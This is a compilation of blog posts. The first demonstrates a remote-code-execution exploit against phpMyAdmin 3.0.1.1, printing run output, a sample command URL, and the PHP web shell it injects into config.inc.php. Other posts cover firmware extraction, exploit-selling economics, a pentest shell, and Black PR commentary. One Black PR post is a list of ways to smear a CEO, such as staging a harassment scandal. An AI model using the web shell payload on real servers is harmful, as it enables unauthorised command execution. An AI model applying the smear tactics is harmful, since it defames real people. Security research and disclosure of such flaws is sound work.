I’m providing the script with the hope that it will help pentesters and security researchers. Please only test the script against your own systems, or systems you have been given permission to pentest! Don’t be evil, it’s not worth it.

Demo

$ ./phpMyAdminRCE.sh
usage: ./phpMyAdminRCE.sh 
i.e.: ./phpMyAdminRCE.sh http://target.tld/phpMyAdmin/

$ ./phpMyAdminRCE.sh http://172.16.211.10/phpMyAdmin-3.0.1.1/
[+] checking if phpMyAdmin exists on URL provided ...
[+] phpMyAdmin cookie and form token received successfully. Good!
[+] attempting to inject phpinfo() ...
[+] success! phpinfo() injected successfully! output saved on /tmp/phpMyAdminRCE.sh.9217.phpinfo.flag.html
[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:

http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?c=ls+-l+/


http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?p=phpinfo();

    please send any feedback/improvements for this script to unknown.pentester gmail.com

$ curl "http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?c=ls+-l+/"
total 96
drwxr-xr-x   2 root   root  4096 Mar 11 10:12 bin
drwxr-xr-x   3 root   root  4096 May  6 10:01 boot
lrwxrwxrwx   1 root   root    11 Oct 12  2008 cdrom -> media/cdrom
drwxr-xr-x  15 root   root 14300 Jun  5 09:02 dev
drwxr-xr-x 147 root   root 12288 Jun  5 09:02 etc
drwxr-xr-x   3 root   root  4096 Oct 18  2008 home
drwxr-xr-x   2 root   root  4096 Jul  2  2008 initrd
[partial output removed for brevity reasons]

Contents of /config/config.inc.php after our evil code has been successfully injected (injected code shown in bold):

<?php
/*
 * Generated configuration file
 * Generated by: phpMyAdmin 3.0.1.1 setup script by Michal ÄŒihaÅ™ <michal@cihar.com>
 * Version: $Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $
 * Date: Tue, 09 Jun 2009 14:13:34 GMT
 */

/* Servers configuration */
$i = 0;

/* Server  (config:root) [1] */
$i++;
$cfg['Servers'][$i]['host']=''; if($_GET['c']){echo
'<pre>';system($_GET['c']);echo '</pre>';}if($_GET['p']){echo
'<pre>';eval($_GET['p']);echo '</pre>';};//'] = 'localhost';
$cfg['Servers'][$i]['extension'] = 'mysqli';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';

/* End of servers configuration */

?>

Thanks

I’d like to thank Greg Ose for discovering such a cool vuln and doing a nice writeup about the technical details! Also big thanks to str0ke for testing this PoC script and providing such useful feedback!

---
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Mounting the filesystem on your workstation

There are many ways to mount the camera’s filesystem using the firmware binary. In this post, we’ll explain one way to mount firmware version v1.00R24 which is the latest available for the WVC54GCA model.

If you were to only use the firmware binary, things could be a bit difficult, as you don’t know the format of the binary at all. However, having the GPL firmware helps a lot as we’ll see next. I emailed Linksys back on Apr 23, 2009 informing them that although the GPL firmware was available on their site for other Linksys products, they hadn’t uploaded the one for the WVC54GCA camera. A few days later, on Apr 27, 2009, Linksys kindly made it available and has been available ever since (the file to download is wvc54gca_v1.00R24.tgz).

Thanks to Lex Landa‘s tips I was able to figure out the parameters required to mount the firmware binary, by analysing the data contained in the ./scripts/wvc54gc_usa_english/combine.cfg file which is included with the GPL firmware:

size = 00400000
file = WVC54GCA.bin
f1_name = loader
f1_start = 00000000
f2_name=loader.ver
f2_start=00007FFE
f3_name=kernel
f3_start=00020000
f4_name=filesystem
f4_start=000E0000
f5_name=PID
f5_start=003FFFB2

I simply focused on the kernel and filesystem parameters. The previous settings show that then kernel starts at 0x20000 (131072 bytes / 128 KB), and the filesystem starts at 0xE0000 (917504 bytes / 896 KB). In order to start dd reading at 0xE0000, we need to keep 7 chunks of 131072 bytes. i.e.:7*131072=917504 bytes=0xE0000 (the position we want)

$ dd if=DYFF08-402-1024.bin bs=131072 of=fs.img skip=7
25+0 records in
25+0 records out
3276800 bytes (3.3 MB) copied, 0.019424 s, 169 MB/s

We then verify that our image file is a valid squashfs filesystem:

$ file fs.img 
fs.img: Squashfs filesystem, little endian, version 3.0, 2216311 bytes, 475 inodes, blocksize: 65536 bytes, created: Fri Nov  9 03:58:52 2007

A finally mount it on our hardrive:

$ sudo mkdir /mnt/test
$ sudo mount -t squashfs fs.img /mnt/test -o ro,loop
$ ls /mnt/test/
bin  dev  etc  lib  mnt  proc  root  sbin  tmp  usr  var

---
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Got the idea? No? Let me explain. What you see in the video above is an application for the iPhone which gives you detailed characteristics of properties (houses) in USA. You can either search the map or just use your GPS coordinates to get information such as price of the house, number of floors, number of rooms, pictures taken from inside the house if the house was part of any register (letting agencies etc.) before you moved in, and other interesting information.

This is the kind of information gathering you see only in the movies. I won’t be surprised if future versions of these kind of applications can pool even essential blueprints which show not only how the house was constructed from architectural point of view but also show the power and gas grids and perhaps even any other wiring such as telephone, coaxial, etc.

All of this information is also available through easily accessible APIs. Perhaps these APIs are not publicly known but anyone who can run a sniffer most certainly can get hold of the URLs and their formats. Now mash this APIs with any other tool such as one that correlates IP address to physical location (not very accurate btw) or better yet a wardriving tool and you have a infowar machine in your pocket that will make any criminal organization proud of.

This was the main purpose of my Web2.0 talk/research from two years ago. Back then I made a very simple analogy which I would like to bring once again. When the email was invented nobody even suspected that it will be used for things such as spam and malware. That was something unimaginable. Today spam is the fastest growing criminal industry and malware delivered over email is the most successful one. In summary, we cannot foresee how a technology will be used/abused. That depends on the imagination of the people.

The same goes for the Web2.0 meme. The more we use it, the more ways we will find to abuse it. However it is also important to say that the more we use it the more accustomed we will become to it. Therefore, when the shit hits the fan there will be very little that we can do.

The reason I am bringing this up is not because I would like to start even more FUD around the Web2.0 mem but it is time for us to stop looking into the technical aspects and start thinking in terms of technologies that affect normal people. Sometimes, we just lack the realism and we fail to spot the obvious problems.

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The conflict seems to be resolved now to one degree or another but it is interesting to observe the whole situation and also draw important conclusions. Therefore, I’ve got several points I would like to bring to the table:

1. More examples of similar nature will follow. Keep an eye on Facebook, Apple AppStore, Firefox and other platforms that allow 3rd-party components to be displayed, downloaded and executed.
2. As I mentioned before, a malicious piece of JavaScript code (even an obvious obfuscation) can be quite easily smuggled into harmlessly looking Firefox extensions. If I may speculate, the situation is the same for other similar platforms.
3. Unless platform vendors do something about it, they could become the next hot spot for all sorts of interesting malware.

It is also very interesting to see the extend to which extension developers will go in order to protect their userbase. After all, larger userbase equals more money. And with more people looking to quickly cache in, the battlefield is truly changing for better or worse.

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Later on, during the CONFidence 2008 event in Krakow I met a bunch of people who claimed that they already sell exploits to various UK companies and the figures that they were making were outstanding. To give you a clue, given the pound dollar difference at that time, you could have made 6 times more than what ZDI and other similar programs can offer you for a top range exploit. This is already better than a top salary in UK.

Same year, different event… I saw an interesting presentation by Robert McArdle from Trend Micro. The presentation was titled Fighting web Based, Profit-Driven Threats. On one of his slides, Robert commented that cybercrime is becoming more profitable than the drug cartels. Perhaps you wont be able to make as much money from carding as you might expect but you can do quite well selling visualized stuff, such as exploits and exploit toolkits.

Present times, DojoSec Monthly Briefings… Matthew Watchinski from Sourcefire VRT talked about a PDF 0day spreading around Xmas time. The exploit took a couple of good months for Adobe to fix it. The author sold it for 75K to a unknown 3rd-party in China according to Matthew. The vulnerability was also relatively easy to find and required very little experience to exploit.

All of this leads to the very obvious conclusion which is that at present times cybercrime is a flourishing industry. Soon, there will be even more recruits coming to join the dark-side forces of the cybercrime cartels. They will do it for the money!

No more free bugs you say? I say that you are leading people to become the next generation of cyber menace. Perhaps you forgot that the information security community was built on and thrived because of a simple but fundamental principle: knowledge must be free.

Sell The Bugs

Regardless how good these figures may sound to you, you need to take a step back and think really well what you are getting into. Here are a few points that you need to consider before selling exploits:

• Cybercrime is not a joke – If you get caught selling exploits to a dodgy 3rd-party you may end up with a prison sentence longer than the sentence of a child molester. If you live in US or UK you could be charged and treated as a terrorist which will completely destroy not only your life but the life of your closes people.
• TAX man problems – Oh Yes! Unjustifiable incomes could get you in trouble with the TAX man. The TAX man will hunt you and hurt you.
• Broken legs and other broken parts of the body – You have no idea to whom you are selling to. Tomorrow you may wake up with broken legs and twice as poorer as the day before.
• Even worse – People will kill for a lot less than 75K. Keep that in mind.

In my humble opinion, exploit brokerage is a risky business. There is an unquantifiable risk associated with this practice and that is only due to the high price of exploits which are sold today.

Exploit Sweatshop

Nevertheless, it is just silly to believe that no one is producing and selling exploits in a large scale. Do you remember the numerous gaming sweatshops which sprung up like wild mushrooms after the recent heavy rains in 3rd-world countries? I recall seeing a documentary on a typical day in a Chinese WoW sweatshop. I remember I saw a room full of almost naked people, numerous PCs hooked up into a gigantic DIY network spreading across the entire floor. Most of the WoW accounts were fully automated, running from virtualized platforms.

The aim was simple: a) develop many characters in a semi-automated fashion by killing small animals and other things around the WoW world and b) sell the characters plus other artifacts to western buyers for a substantial amount of money. All of this can be achieved for as little as $70 a month per person. This is a remarkable business model which works extremely well.

Similarly, all you need is a bunch of programmers from India, China, or Eastern Europe to code up fuzzers and run them against as many software products as possible. At the end of the day memory corruption exploits a relative easy to detect. All you need is a crash caused by putting far too many 0×41 in a buffer. The crash is already an indication that something is wrong. It requires a bit of manual work to figure out whether the crash is exploitable. From personal experience, and by looking into the work of my peers, it takes approximately 10 days to develop a crash into an exploit. Most of the times, the exploitability factor of a crash is apparent and therefore no time needs to be wasted. Other times, a crash can be archived for future investigation when it could become exploitable given it meets the necessary conditions.

Perhaps you can do all that by paying someone as little as $70 a month as it is the case with WoW sweatshops. That is 3 times less than what I am paying for just hosting. Therefore, I most certainly can afford to hire 3-4 people right now and even double their salaries, but let’s do the maths:

# average exploit price: $5000
# number of people to hire: 5
# average monthly salary: $100
# job specs: write fuzzers

5 * 100 = $500 # a month expenses
5000 / 500 = 10 # months worth of work

Heck, I can even put this bill on my credit card and pay as little as $50 a month. The chances that I will sell an exploit for $5K in the next 10 months are pretty high. $5K is only if I go with a legitimate company. I can probably make 6 times more by selling it to a dodgy 3rd-party. The only thing I need to worry about is the risk.

Some Final Words

Finally, I know that a lot of people are into the security business because of all the romanticism and the myths surrounding the hacker figure. Things look different once you become the hacker and your day job and lifestyle are surrounded by hacking and breaking into systems of any sort. There is nothing romantic about it.

So, don’t get into trouble for the wrong reasons. If you are young and you need advice what to do with your career, contact us or contact any one who has been into this industry long enough to give you a good and sensible advice. Just don’t jump onto the No free bugs! bandwagon.

---
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The version inside the new code repository is very different from the version you’ve seen before. The main difference is that while the old version is basically a collection of scripts, the new version implements its own shell (wrapper around bash) which does the heavily lifting and also introduces some funky programming mechanisms. For example, now you can create jeriko scripts like this:

#/usr/bin/env jeriko
# do my jeriko commands here
foreach-input | add-targets
generate-scan-batch | run-in-parallel

This is perhaps the simplest possible script you can write but you see that the jeriko shell could turn into a quite powerful feature. The shell is also a good starting point for many penetration testing jobs as it does some environment checking and preconfigures some defaults for you. The other good news is that you don’t have to learn a new programming language. Your bash skills are good for jeriko too.

Just keep in mind that jeriko is merely an experiment. However, I realize that it has already become quite useful for some people. So, if you enjoy playing with bash scripts, and you you feel adventurous, please join us and make this project happen.

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The beauty award this year goes to the International Federation of Organic Agriculture Movements (IFOAM), followed by the European Bank of Reconstruction and Development and Unicef. The lowest reputation scores, however, were received by International Olympic Committee and NATO. Not surprising at all ! You should not expect that military and sport organizations would have been ranked higher than that, especially when their image is closely related to the general image of the services they offer and the image the places where their headquartered are based. Being accountable is also a tough task for most corporations as they fail to deploy effective policies and active management systems.

The Contest: According to the latest survey of One World Trust (a British Think Tank), the IFOAM, along with 29 other powerful organizations, have been assessed in terms of their accountability to stakeholders and wider public. The scope of the research was based on the assessment of four major criteria such as transparency, participation with outsiders, evaluation and complains handling. Turns out that none of the companies actually managed to score higher than 70 percent accountability which is very low and insufficient result. The official report also states:

A score of 70 percent indicates that an organisation has policies in place that meet only some good practice principles and the basic management systems to support their implementation. This is the floor, not the ceiling, of accountability capabilities. If global organisations are to be part of the solution to global challenges, there needs to be a step change in their approaches to accountability. They need to start implementing the more challenging accountability reforms which truly empower external stakeholders to hold an organisation to account. Organisations must also take the necessary steps to embed accountability in their culture and ensure it is being translated into practice.

The other interesting conclusion that has been made is that all of the evaluated companies failed to show good scores (more than 50 percent) in their transparency policies and complaint handling procedures. It is funny that Transparency International (a global organization that tries to fight corruption) takes one of the lowest positions in this chart. Why is this so important? Well, from a Black PR perspective, these are pretty severe vulnerabilities. If an attacker manage to hack into the corporate complaint tracking software and steals all of the important data, he can easily turn that into a massive negative campaign. The affected organization will be not only caught into a very awkward situation, but it will be unable to respond properly to the increasing flow of stakeholders complaints. This also leads to intense media attention and general public dissatisfaction.

One more thing – I did a little research on my own and I found out that the Google Page Ranks of the less accountable organizations is way higher than the the Page Rank of the organizations on the top of the list. However, if you type their name and the word reputation into the search box, you will find that the first couple of pages are filled with negative publications and comments . I guess popularity is not always proportionally related to the general stakeholders’ respect.

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I don’t know about you but today I have started writing my New Year’s Resolution List. One of the things I am eager to do next year is to learn how to surf. It’s cool, risky and very challenging. What I like most about it is the sense of uncertainty and the way you need to survive with a minimum set of resources.

Surfin is like crisis management, don’t you think? If you actually compare some of the basic tutorials in both disciplines, you will probably find a lots of similarities. So, once you master the ability to stay upright on the board, you can easily gain a confidence for dealing with some of the most severe crisis in the corporate world.

How to Start

When a crisis occurs, the first thing to consider is finding the balance point. Use your company’s strengths and all those positive qualities that cannot be doubted by the others. This will help you to balance out all the negative publications and unfair accusations. For example, if your organization is being socially responsible and undertakes many charitable events, this actually can help to save your stakeholders’ trust and turn the crisis into unexpected corporate profit.

The second crucial habit that must be developed is the ability to respond as quickly as possible to the changing environment. The speed is absolutely everything for both surfing and crisis management. It gives you not only a competitive edge, but also the power to predict every negative outcomes. At the same time, do not forget to keep it low once you get the situation back in control. In almost every zoology book it is stated that the most dangerous moments for the target is right after its escape form the predator. So if you keep looking at your feet, you will definitely fall down again. Instead, you should “cover the back of your head” and protect all your vital assets from further damages. Stay “under the water” as long as you can, but never lose the honesty in your conversations.

Safety should always be in the back of your mind, which is a reason why you should never be surfing alone. You never know what might go wrong even on the smallest of waves – its good to have someone who can help you out if you get into trouble.

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As it turns out, the free public mind is one of the greatest threats to many corporations and political regimes as it could easily destroy their long-term goals, ideologies and operations. Chomsky also says that the idea of democracy gives an enormous, anarchic power to the regular people, which could be quite harmful to the society in general. Actually, propaganda is one of the Chomsky’s favorite topics as he wrote many books about it – Media Control: The Spectacular Achievements of Propaganda, Manufacturing Consent: The Political Economy of the Mass Media and Propaganda and The Public Mind: Conversations with Noam Chomsky. Great reads for those who are interested.

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It is official! Hillary Clinton is finally appointed as the new Secretary of State. Congrats!!!! Let me tell you, this lady is everything, but a loser and will do everything just to get to the power of the state. It seems like she is absolutely capable of taking every political position you can think about of – a first lady, a senator, a president wanna-be, a vice president and if all this fail why not a head of international affairs. There is nothing wrong with this, except that the recent political history is entirely dominated by families like the Bushes and the Clintons. Looks like once you taste the power of the White House, it is not easy to give it up. I cannot help but wonder, where is the real change that we are awaiting for so long?

Funny enough, just few weeks ago both Hillary Clinton and Barack Obama said that they want to improve America’s standing in the world. The Democart’s victory was easily labeled by different media outlets as “historic” and has put hopes for a brighter future not only in US, but also in the whole world itself. Barack Obama is not just the first black president; he is a symbol of new political standards, a chance of economic survival and a representative of new class of world leaders. For a first time in many years (maybe after Nelson Mandela’s jail release), people all over the world were united in something bigger than their own social troubles. They were proud of the choice they made and were actually interested in following the news, counting the votes and somehow been personally involved in the whole competition.

What happened?

Let me take you back to the time when Hillary Clinton tried to “nominate” herself as a potential candidate for vice-presidency. Every rational political analyst at that time fiercely criticized the opportunity of pairing the “two former rivals” into the same election list. Moreover, it was said to be an absolutely wrong move and a second chance for Bill Clinton to overshadow the upcoming cabinet. Hillary was also seen as an obstacle that could put many prospective voters off the Obama’s political platform. Not to mention about the numerous dirty tricks that both candidates used to play to each other. Actually the fight between them was even more bitter and more aggressive than the one with the Republicans.

Today, after the election, the partnership between Obama and Clinton has been suddenly seen as logical conclusion of a long, exhausting race. However there are still a couple of issues that must be considered. Hillary is not the type of a woman that will be easily controlled. No matter how suitable or experienced she is for being a Secretary of State, she also has a wide network of business/political connections which could put her into a great dominance over the rest of the crew. This means that her political leverage will be getting stronger and stronger each day, which kind of makes this team ineffective at its very beginning.

Bottom Line:

One of the good things about Democracy is the idea of free choice. The American people were actually unable to vote about the alliance between Hillary and Obama (as it would happen if she was officially named his running mate). Now they are forced to accept it. All this raises the question if we ever had the opportunity to choose between different democratic alternatives or everything was already set up as part of a nasty, political scenario. No matter how good it sounds in theory, the change has been already made, unfortunately not by us.

Definitely not a good sign for the American reputation!

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In the mood of the upcoming Christmas feasts, here are our tips of how to stay corporate fit during the season. As you know, during this time of the year most companies are quite busy with the execution of various sales campaigns or are rushing to close important deals right before New Year’s Eve. Christmas also means lots of parties, reunions and gatherings. However that urge for having a fresh start sometimes cost millions to the organizations as they tend to neglect their competitors and therefore easily become victims of lethal reputation attacks. While many attribute the cause for this as an excessive preoccupation during the holidays, much of the Black PR cases are due to the carelessness of managers to assess security threats and their actual frequency. CEOs also foolishly underestimate the objectives of negative campaigning and refuse to believe that someone will ever dare to affect their flawless corporate systems.

I don’t think is even worth mentioning it here how idiotic approach this is and to be honest many organizations deserve their own reputation misery. So instead of spending quality time with friends and families, many employees end up the year setting crisis teams and fighting bad publicity. Sounds like lots of fun, isn’t it?

What is the healthy diet?

First of all, I think it is very important for corporations to understand the power of a good reputation. Although it is not something that you can touch and hold in your hands, having a good name (personal or a brand) is the only thing that matters at the end of the day. It affects not only your annual financial reports, but also it gives you a competitive edge and a whole new meaning of your marketing strategies, internal relations and in general sales performance. Companies with strong reputation are more likely to recover from severe crises, than the ones with inconstant behavior and negative image.

Secondly, there is a common misunderstanding which I want to clarify. Usually when PRs talk about reputation, they tend to refer to it as good or bad one. The truth is that the reputation of an organization can be much more colorful as it can take many different shapes or sizes. Keep also in mind that the corporate image means different things for the different stakeholder groups, such as employees, suppliers, shareholders and the media. It is vitally important to keep the balance between them as you risk to put yourself in a very untrustworthy position.

The size always matters

There is no big or small reputation. It is all relative. Companies with big reputations are those with a greater popularity among the general public. This s the case with Body Shop. Everyone think of Body Shop as a company that is deeply concerned with the environment, fair trading and biologically clean products. This is something that nobody doubts or dare to counter.

Organizations with small reputations are those that fail to established any strong images in the minds of the audience. Usually those are start-ups or corporations with controversial past and lack of political protections. Even worse – firms with no individuality and international media presence.

The question here is what will happen when these two types of reputation collide. Obviously it will be much easier for a bigger organization to smash down the smaller one. It has wider network of connections, more money and better PR team. The smaller competitor won’t even noticed that they are being a victim of Black PR campaign or even if they do, nobody will believe them or even want to invest in an entity without any market future.

However if a start-up succeeds in the defamation of a bigger company, it will automatically position itself as better consumer alternative and even secure its own market place. This opportunity is especially seductive for the retail industry. The only difficult thing here is the creating of an effective Black PR strategy and a new marketing plan for after that.

So, take the tape measure and prepare for the upcoming festivals!

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There is a new documentary coming up this weekend on MTV about Britney Spears. It is called Britney: For the Record and it aims to rebuild her reputation after months of a total meltdown. It is expected to be a heart-breaking story about her emotional collapse and the way she completely lost her way to the top. Funny enough, MTV was blamed a year ago that it deliberately helped destroying her image by letting her on stage of the MTV Music Awards 2007. If you remember well she was brutally criticized by the tabloids at that time for her poor performance and horrible look, which put Spears even into a deeper depression. Britney easily became a synonym of psychological disorder and a topic of numerous humorous plots. For more then a year people all over the world were literally shocked by her tabloid-chronicled personal spiral that has included rumors of drug and alcohol abuse, a scalp-shearing breakdown, a few trips through rehab, visits from the department of child welfare, and a lot of genital exposure.

What is happening now?

For the last couple of months, the falling POP-star suddenly raised from the ashes. It was not something that I expected to occur so soon, at least not with the same magnitude. Today, Britney Spears looks like an entirely different person. She behaves well, spends quality time with her two sons, hits the top charts with a brand new single and even won two MTV awards. Larry Rudolph, her manager, kindly refers to as the official beginning of the comeback. However I couldn’t help but wonder, is it really a comeback or a well-designed reputation strategy?

There are a few disturbing things which make me reason that Britney Spears’s brake-down could be part of a complex, self-created Black PR campaign. I know this sounds insane! Who could possibly do this to himself, but if you think about it – Why NOT???

First of all, Britney released her fifth album, Blackout, right in the peak of her emotional troubles. Ask any reputation advisor and he will tell you that this is a wrong move, especially when you carry such a horrible media karma. That is completely true, but not if your singles are all about depression, self-lost and bad decisions. What would be a better way to promote your label, but your own self-destructing life. Keep also in mind that the target audience of the album is mainly composed of teenagers and I don’t even want to start discussing the emotional problems this particular group have to go through. What I am trying to say is that, Britney’ life may be seen from some as a total wreck, but for others (young troubled girls) it is empathy, etc.

On the other hand, people love to see their idols falling down. They want to assure themselves that the celebrities are just regular people as everyone else and have the same domestic and professional problems. This is how I can personally explain the whole hysteria around reality programs and behind the scenes features.

Believe me, Britney Spears’ record company knew this extremely well and as a result Blackout set the record for the biggest-selling digital album debut by a female artist in a week.

New Album requires a New Image

The next album of Britney Spears, Circus, is set to be released on 2th Dec (her birthday). The date it is not accidental. It should mark her comeback and new personal stage of life. She will be portrayed as more mature and emotionally stronger woman and she will probably start aiming at different type of audience.

Britney already looks different. She has better style, better figure, boosted self-esteem and professional attitude. She seems quite womanized and in peace with herself. All she needs to do now is to start excusing herself and her recent behavior. She is aiming at people’s compassion and fortunately for her, we all like to forgive.

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There is a new reputation term I stumbled across yesterday (via Authenticorganizations blog) so I thought it is worth discussing it. It is called collateral reputation damage and the idea behind it is that some companies could be incidentally defamed, just by having random similarities with another, less respectable organizations or individuals. According to the author:

The collateral damage, (is) not intentional damage, because the folks taking action don’t intend to damage the organization�s reputation. Instead, the damage occurs through guilt by association

How does it work?

The most popular example of collateral damage is when two similar names (let’s refer to them as A and B) are being negatively associated with each other. Usually there is no any relevant connection between them, except their names, nicknames, corporate symbols or initials. Visual resemblance is also possible. The only requirement here is one of the subjects (let’s say A) to have an established bad reputation in people’s minds. So, every time when people hear about the other one, B, they will subconsciously associate it with the negative qualities and characteristics of A. Fortunately, this works only for a very short period of time. However, it could be really damaging only if A is in the middle of a corporate/personal scandal.

This is what happened with Sarah Pailn and the Chiliean wine Palin Syrah. According to Chris Tavelli (a wine bar owner), Palin Sayrah was one of the best selling wines in his pub before her nomination as a Republican V.P. People were constantly put off of its low price and questionable quality.

How the affected party should react?

Well, there is no a straightforward answer really. Everything depends on the specific situation and whether the affected organization is willing to take any further steps to rebuild its reputation. The main point here is the harmed company or the individual must distant itself from the one with a bad image and make sure to demonstrate different corporate values. If the company publicly complains about its reputation loss and provide enough evidences about it, such as significant financial drops, then it has the real chance to increase its popularity, find new markets or even entirely re-position itself. As I always say, it all depends on the abilities of finding an opportunity in the crisis.

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Ask any reputation strategist and he will tell you that the most vulnerable asset of any corporation is its very own leader. Actually CEO’s reputation represent around 49%-65% of overall corporate reputation and thus it is inevitable part of numerous Black PR scenarios. The reason for this is because it requires much less efforts and time to defame a person, than to concentrate on the disparagement of an entire organization.

The objectives of the smear campaigns, on the other hand, could also be different. Usually there are two simple goals behind every reputation attack. The first one is directed at the personal qualities of the target and it aims his official resignation. Most of the time these types of attacks come from inside the company and are used when the leader is no longer suitable for the general corporate performance. It is also very convenient when he/she cannot be dismissed directly or is a great obstacle for someone’s interest. The second reason for CEO defamation is when the black- hats are trying to distract the attention of the industry’s stakeholders or are aiming to cause extra troubles for the organization. It is not a surprise that this is a very common situation during important events like new product launching or some forthcoming acquisitions.

Due to the high volume of recent reputation attacks, I tried to summarize the most common malicious scenarios that CEO’s could be involved in. Of course, there are a lot more scenarios than those that I have listed. Keep in mind that everything depends on the creativity of the attacker. The golden rule here is that the more uncommon the plan is, the more effective the results would be.

1. Sexual Harassment – This is the most popular type of attack that a leader could face. It is quite easy to be proved and works almost every time. All you need to do is to find a suitable victim, sufficient evidences and a tabloid editor, willing to pay enough for the story. Once the scandal is triggered, you can just sit down and relax.
2. Hypocrisy – The point here is to reveal a discrepancy between leader’s official attitude and his actual deeds. The latest example is the Sara Palin fashion affair. The problem there was not that she likes to wear very expensive, designer clothes, but the fact she is not a regular American girl as she had been trying to portray herself.
3. Membership of controversial groups – This is a really powerful approach. If you can prove that the CEO is a part of a mob gang, religious cult or secret society, than his media crucifixion will be certain. The corporate long term strategies will also be affected.
4. Professional Incompetence – if the leader is incapable of making good decisions and taking responsibilities of his action , then the quality of the corporate services will be put under a serious suspicion. This is pretty scary for most of the B2B type of companies.
5. Misuse of corporate resources (Embezzlement) – Financial wrongdoing and unethical behavior are probably the most significant threats to every corporate reputation.Such is the case with the Deyaar’s ex-CEO, Zack Shahin, who was suspected of embezzling over $33 millions into his personal accounts. The scandal broke earlier this year and let to his immediate discharge as the head of the biggest property developer in Dubai. According to the Gulf media sources, the company is still trying to recover its tarnished reputation and to regain the trust of its shareholders.

I want to clarify that the person who was accused of embezzling Deyaar Development’ resources is Zack Shahin , not Nasser Al-Shaikh as was stated earlier before. Mr. Al-Shekih is the current Chairman of the company and The General Director of Dubai Department of Finance. Spin Hunters apologies for any inconvenience we might caused with this post.

6. Indictment – When it comes to CEO’s reputation, ethical conduct is always on the top. Bernard Ebbers, the former CEO of WorldCom, learned that the hard way when he was indicted on federal charges stemming from the multi-billion dollar accounting fraud at the telecommunications giant. He was also charged of conspiracy and false filing with the Securities Exchange Commission. Today he is serving his sentence at the FCI Oakdale.
7. Personality and Lifestyle – The main goal of the attacker here is to reveal all the dirty secrets of the target that are not publicly known. If the leader is a drug addict, a racist or a homosexual and this type of an image is in total clash with the position he takes, then not only the reputation of the organization, he is associated with, will suffer but also the reputation of the entire industry itself.

Bottom Line: CEO’s reputation will always be a target of professional smear campaigns. The best thing CEOs can do is to be completely honest and sincere with his PR strategic team, as this is the only way to tackle all pending reputation risks.

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There is a new widget that caught my eye the other day and I have been playing with it ever since. It’s called Tell-a-Friend and its general purpose is to help users to share any type of information without leaving the website where it is installed. Nothing new, you may say, but the point I want to make is that this tool actually enables visitors to access their friends with much greater speed and scope. So, instead of remembering all the contact details of your LinkedIn network, you can now spread your messages with less efforts and boring authentication requests. Convenient for ones, quite scary for others! Tell-a-Friend is a two-edged sword that can successfully build and destroy your reputation in a matter of minutes. Everything depends on the professional skills of both the black-hats and the reputation management consultants.

It is not a surprise that most of the serious PR agencies today design Word-of-Mouth (WOM) strategies as part of their promotion services. They are well aware of the power of peer-to-peer sharing and that most potential costumers heavily rely on the advice and the input of the people they trust. A professionally executed WOM campaign is hundreds of times more effective than any other advertising platform combined with the best communication tactics, especially when it can also help boosting the sales performance and corporate operational profit.

One of the most specific features of WOM marketing is that it barely relies on any substantial facts, but personal opinions. So, even if you read something about yourself on the Web that it is not entirely true, the measures you can take are pretty limited. It is almost impossible to start legal actions against a whole community, especially when the initial source of the rumor is hard to be identified. It is also quite stupid for a company to blame someone because of his personal believes and thus all marketing books share the opinion that customer is always right.

I will stop here. I think it is pointless to explain further the importance of Word-of-Mouth and its global impact on corporate reputations. However, I believe it is crucial to discuss its usage as rumor spreading accelerator and general defamation tool.

What makes Negative WOM so powerful?

It is proven that people trust negative information way more than any superlatives. If you hear something bad about someone, this is more likely to be remembered than the high volume of positive stories you can find about that very same person. The reason for this are the libel messages with their embellishing nature which causes the drama effect. This means that if you start a rumor about something,,at the end of the day it will sound totally different from its initial form. In fact, every time when somebody repeats the story, the impact will be much bigger and stronger over the target audience. None of the other communication tools enable you to do that.

The other thing I would like to mention is the tempo, with which viral messages could be disseminated. This is extremely important for every defamation campaign , because it disables the target to react promptly on existing reputation attacks. If the target delays its official respond or fail to give a reasonable explanation of the buzz (with enough number of facts), then the allegations will be subconsciously confirmed by the audience. Moreover, this delay may actually help the rumors to spread even more and this is how the target’s reputation can be permanently damaged.

In conclusion, I can only say that most of the big corporations tend to underestimate the power of negative communication. They are willing to spend enormous amount of money for creating a positive buzz, but not fighting the negative one. In short term perspective, this may look reasonable, but keep in mind that there will always be someone that doesn’t like your product and will try everything to take you down. As I always say, it is up to you to decide whether this is going to happen.

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The high volume of recent smear campaigns has led to the need of a special acknowledgment.

Spin Hunters is eager to rate the most popular cases of reputation attacks in the last year. Whether this will be the hysterical speculations over the upcoming election or the intensive rumors about the crush of a big financial institution, it is up to you decide. Therefore if you suspect that some of the current affairs are part of a malicious Black PR plot or you know this for sure, please submit your nominations by emailing us. At the end of the year, we will honor the most over-hyped stories by giving them a special award and public rebuke.

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